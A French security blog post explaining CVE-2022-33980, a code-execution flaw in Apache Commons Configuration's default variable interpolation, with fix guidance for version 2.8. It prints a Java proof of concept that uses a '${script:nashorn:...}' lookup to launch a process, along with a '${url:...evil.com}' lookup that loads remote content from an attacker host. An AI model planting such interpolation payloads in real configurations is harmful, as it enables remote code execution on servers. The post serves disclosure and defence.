Skip to main content

Découverte de CVE-2022-33980 : la vulnérabilité RCE de configuration d’Apache Commons

Écrit par

Kyle Suero

blog feature security alert purple

8 juillet 2022

0 minutes de lecture

Avant d’entrer dans le détail de cette vulnérabilité, nous tenons à préciser qu’il n’y a pas lieu de paniquer. De nombreux systèmes autorisent l’utilisation de différents types de code dans les fichiers de configuration, et l’interpolation de chaînes et de variables dans la configuration des applications et des systèmes répond à des besoins légitimes. Ce n’est pas un nouveau Log4Shell. C’est une simple manipulation de configuration. Si quelqu’un peut modifier facilement votre configuration, ou les ressources dynamiques vers lesquelles elle peut pointer, vous avez probablement des problèmes bien plus importants à régler.

Faille dans la configuration d’Apache Commons

Il est possible d’exécuter du code arbitraire dans les fichiers de configuration d’Apache Commons (versions 2.4 à 2.7) en exploitant la fonctionnalité d’interpolation de variables activée par défaut. La faille provient plus précisément de la fonction interpolate de la classe ConfigurationInterpolator.

Dans un scénario normal, la fonction interpolate reçoit une valeur d’objet contenant des variables, qui sont ensuite remplacées si elles peuvent être résolues. Elle renvoie ainsi une valeur dans laquelle les variables ont été remplacées — ce qui peut s’avérer utile lorsque les environnements de développement et de production utilisent des versions différentes. En bref, la fonction d’interpolation permet d’évaluer dynamiquement les paramètres de configuration. Cette pratique répond à de nombreux besoins légitimes.

Cependant, si ces recherches sont effectuées à partir d’un fichier de configuration contrôlé par un attaquant, les conséquences peuvent être graves. Par exemple, ${url:UTF-8:[https://www.evil.com](https://www.evil.com)} utilise le préfixe URL, qui peut servir à charger des fichiers distants et des valeurs de configuration. Si un attaquant parvenait à contrôler l’URL indiquée, par exemple à la suite d’une prise de contrôle de sous-domaine, il pourrait exploiter l’exécution de code arbitraire sur les serveurs de l’application. Il pourrait ensuite progresser dans le réseau et compromettre d’autres systèmes.

Outre le préfixe de recherche d’URL, d’autres préfixes activés par défaut permettent de résoudre des enregistrements DNS et d’exécuter des scripts. Si la configuration est contrôlée par un attaquant, les conséquences peuvent être dévastatrices.

Il est essentiel de bien assainir les configurations et de rester vigilant face aux valeurs dynamiques. Une URL peut appartenir à votre organisation aujourd’hui, mais à l’expiration de la réservation du domaine, un adversaire pourrait le récupérer et y héberger du contenu malveillant, compromettant ainsi les configurations dynamiques qui utilisent cette URL autrefois légitime.

Preuve de concept de la faille de configuration d’Apache Commons

De Java 8 à Java 15, le moteur de script Nashorn était fourni par défaut avec Java. Il est donc possible d’exécuter des scripts sans effort supplémentaire. Nashorn propose différents types de moteurs pour exécuter du code. Les exemples suivants utilisent JavaScript et Nashorn, qui permet d’exécuter du code Java.

Dans l’exemple ci-dessous, j’utilise la fonction interpolate() pour exécuter ces scripts. Le code JavaScript 5 + 4 renvoie 9, et le code Java utilisant nashorn exécute ProcessBuilder, qui lance la calculatrice sur mon Mac.

public static void main(String[] args) {
    InterpolatorSpecification ips = new InterpolatorSpecification.Builder()
        .withPrefixLookups(ConfigurationInterpolator.getDefaultPrefixLookups())
        .withDefaultLookups(ConfigurationInterpolator.getDefaultPrefixLookups().valueš())
           .create();

   ConfigurationInterpolator interpolator = ConfigurationInterpolator.fromSpecification(ips);
   System.out.println(interpolator.interpolate("${script:javascript: 5 + 4}\n"));
   System.out.println(interpolator.interpolate("${script:nashorn: new 
javâ.lang.ProcessBuilder(\"open\", \"-a\", \"Calculator\").start()}"));
}

Note de la rédaction : pour tester le code ci-dessus, vous devez remplacer le « a » de « java » et le « s » de « values ».

Le second exemple montre comment une grave vulnérabilité d’exécution de code arbitraire peut survenir lorsqu’un utilisateur peut influer sur l’entrée de la fonction interpolate(). Lancer la calculatrice n’a rien de particulièrement intéressant, mais la même technique peut servir à exécuter une attaque par shell inversé, voire pire.

Terminal affichant une sortie Java à côté d’une calculatrice indiquant zéro

Notez que Nashorn n’est plus disponible par défaut dans Java 15 et les versions ultérieures. Ces scripts ne seront donc exécutés que si vous fournissez vous-même un moteur de script. Toutefois, de nombreuses entreprises dépendent encore d’anciennes versions, comme Java 8, ce qui peut poser un grave problème. C’est un parfait exemple des raisons pour lesquelles il est recommandé d’utiliser la version la plus récente de Java, comme Java 17, la dernière version LTS.

Corriger la configuration d’Apache Commons

Ce problème est corrigé à partir de la version 2.8, car la dernière version désactive par défaut les préfixes URL, DNS et script. Les autres types de recherches nécessitent de modifier les propriétés système pour autoriser leur fonctionnement. La limitation de l’ensemble des préfixes de recherche autorisés par défaut réduit considérablement les risques liés aux fichiers de configuration contrôlés par des acteurs malveillants.

Une analyse avec Snyk peut vous aider à déterminer si cette vulnérabilité est présente dans votre stack. Si elle est détectée, effectuez la mise à jour vers la version 2.8, puis exécutez snyk monitor dans l’interface de ligne de commande afin de poursuivre la surveillance en production.

Lancez-vous dans les compétitions Capture The Flag

Apprenez à résoudre des défis Capture The Flag en regardant à la demande notre atelier virtuel d’initiation.

Lire la suite

Blog

Les modèles de pointe ont trouvé les vulnérabilités. Seul l’attaquant a trouvé les chaînes d’exploitation.

L’analyse statique a détecté les failles, mais seuls des tests d’attaque en conditions réelles ont prouvé comment elles pouvaient être enchaînées pour provoquer des compromissions. Comparaison d’Evo COS, de Claude Security et de Claude Code Security.

feature insights context
Blog

Les attaques autonomes sont déjà là. La défense doit suivre leur rythme.

Les attaquants autonomes réduisent la fenêtre de défense. Découvrez comment la découverte, la correction, la validation et la prévention continues peuvent aider les équipes de sécurité à suivre le rythme.

Blog

Pourquoi les agents de codage IA créent-ils sans cesse des failles de contrôle d’accès ?

Les agents de codage IA peuvent générer une logique d’autorisation qui compile et passe la revue, tout en exposant les données d’un tenant à un autre. Découvrez pourquoi les failles de contrôle d’accès sont difficiles à détecter et comment les prévenir.